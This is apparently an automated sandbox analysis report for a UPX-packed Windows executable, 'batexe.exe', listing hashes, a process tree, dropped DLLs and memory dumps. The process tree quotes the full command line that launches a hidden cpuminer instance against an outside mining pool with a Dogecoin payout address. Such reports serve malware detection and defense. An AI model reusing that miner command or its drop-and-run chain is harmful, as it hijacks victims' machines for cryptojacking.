73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
303s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
12/02/2024, 11:26

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
532	b2e.exe
4168	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4168	cpuminer-sse2.exe
4168	cpuminer-sse2.exe
4168	cpuminer-sse2.exe
4168	cpuminer-sse2.exe
4168	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/980-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 980 wrote to memory of 532	980	batexe.exe	74
PID 980 wrote to memory of 532	980	batexe.exe	74
PID 980 wrote to memory of 532	980	batexe.exe	74
PID 532 wrote to memory of 4688	532	b2e.exe	75
PID 532 wrote to memory of 4688	532	b2e.exe	75
PID 532 wrote to memory of 4688	532	b2e.exe	75
PID 4688 wrote to memory of 4168	4688	cmd.exe	78
PID 4688 wrote to memory of 4168	4688	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:980
- C:\Users\Admin\AppData\Local\Temp\11BE.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\11BE.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\11BE.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:532
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\172D.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4688
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4168

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\11BE.tmp\b2e.exe

Filesize
1.8MB

MD5
fed226671f9daab029aaea0c1bf6c527

SHA1
bacded51e7bf4d82a756351748d561b93e5d56ba

SHA256
e7bed9d6ba6c3e79ef43fb8bf34f6748645e87d47c743fc8ead2ad2003a41304

SHA512
d25d032e623e053e35bf23ba71a5432f3ac3b31eeaf9810352d0561d05e8335837ed0afee8cc0008fb1915646912ca08f134ef9e4aac9170aa63d6a254b57fa2

Download Submit
C:\Users\Admin\AppData\Local\Temp\11BE.tmp\b2e.exe

Filesize
1.6MB

MD5
4b3e3a3f84660472fb9714cd8feaba1b

SHA1
8561afb6ae0a1ab8a4d8364928811b66fcaf9da9

SHA256
006513b9e4310066d4cb66a1ea11b6619c10e428f5a1ccc39eab92e1d487f442

SHA512
a4ccf4de38da8d27dd065ef09b81a4bca708188c6102211faaa186ddd8f68b87381611da54cb6098758733c799e2a3450cb5cae66b58c29a4264d93f93a1edc2

Download Submit
C:\Users\Admin\AppData\Local\Temp\172D.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
790KB

MD5
287e86a0a1be053828adf87c55598b45

SHA1
fe65ef3905e6f127a65c045218913db9f94978e7

SHA256
d57cb3140bb741f104d0803e34a52e5f8bd1edd043500ee2f55d1bcbbfdd35f4

SHA512
4c16e056062f672f26afc0d2b0438b6f3ecc74bee947f9ed1896111ff39667fbb33880797677061bcee510ef3feb11ed6b7fddcd025c041ad4dd26b8dc619ed6

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
777KB

MD5
8880137e4ccfaa92925352931215fefa

SHA1
904423191b092feaf2acc34f22d88b197ba953ce

SHA256
e920deecd958a6d4efc73464a3901473f45e6e164753930065ebdedea4e92831

SHA512
1a6a300f330458a67d361b8efe41cd2c6f1622bd129da460e56c0645a1d061fa7ad8c47e3f49354e18ba4895c9cc79dd8a18038adcf47deb084485e398063e3a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
967KB

MD5
d0b9496ed87d5217dd892913528c5914

SHA1
df73cfbc95956901d5e0e77bb55390663af6127f

SHA256
6e87ea01dd9566604a3f6835ce879befd3abe5ee0de54e8bb77085b7289559b5

SHA512
60fef4ff2666d1f344d1865ffb7014f7db2bebdfa504e2387b88f3eb92d7f246bf839b1f73c18d6fc026730409fce58729047b0b21bd77d2b04d09b25ef2490e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
6e432bd96554370ff9241072cc610047

SHA1
e276fbabb748fd00b59ba88e1782dc180aaca815

SHA256
966cf8ecc15668fade0487249536c7ae00c7e2da2facd36faf9821f06bd82054

SHA512
82a7a89549b2edda5c4545fc7815d8f97b2f47f81c800a57f66d43b605e7480f525219abcd39739203e4bd49803352264009e003d0db16fe16b91b101c9c362f

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
809KB

MD5
622704d3bf3a2f967aec1c5f24a7c492

SHA1
6cf1131acac3b2fdda37bb45794e0ef73bda8d25

SHA256
32e2cf2e56bd4a492e8a6068e42115778dc828badc1b521f11ae2e6ff61b0100

SHA512
e6baaa7ad36716a68ff00e422e84a666605a8301869e5e2af13ec91976ee9f0bf3ac8295e6d0ad100a9c4ffd85fd3bd6bb1f3434107a884d1d0210813640e5a0

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
712KB

MD5
7dada4dc2acf9bfec651a58d6e7c951d

SHA1
f0a3d1c4f09dc15851048c8fe5ab569892078d62

SHA256
4dd78bb95ad7db4c7b26230ed6a62ca5d1c8638fb98b8d206b80be5efa3f2da2

SHA512
7cba4ef0372a29d1a856db5a5795aad174961c59ccfa98a3e1e9488177a9bb3a8f3acf1f0ad84b2886a046f1b2fa5478c09cbdaf189f23cc2c5e53197ef17a5b

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
756KB

MD5
42b7ee9f388a3283713a447e8bfc8e21

SHA1
e3d61d56527b0c11ea6ec83bfb2080b659a5e9b9

SHA256
1c77e094caa00eb0266d330c55f2a6b00de751bbf366d1f4d3b9de9def49c7b5

SHA512
5e8e6a358d3071b01ff0b55fa140a6b89ef06dc2714eb723403d11bcd8b2874d19d1ea8c66cf2181823973fb82a130a947887e47521f74970bf3067a3212ea26

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
4b49c4ce93c220ca9aff70331dd04ac9

SHA1
f2eb79580dedabf804823ad993c437de15c2dee5

SHA256
31658289d85bfd0bf1206b59576f16648095186b09a47d4b500d279532273e01

SHA512
17d371135b07654431cececc423565997e19a06dce6dc3f339461f30d5213ef6cbf6494bcd1df734c497aa6bdad15e7177984f39a3ea72199f2addb7558c7d1f

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/532-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/532-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/980-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4168-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4168-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4168-43-0x0000000068830000-0x00000000688C8000-memory.dmp

Filesize
608KB

Download
memory/4168-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4168-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download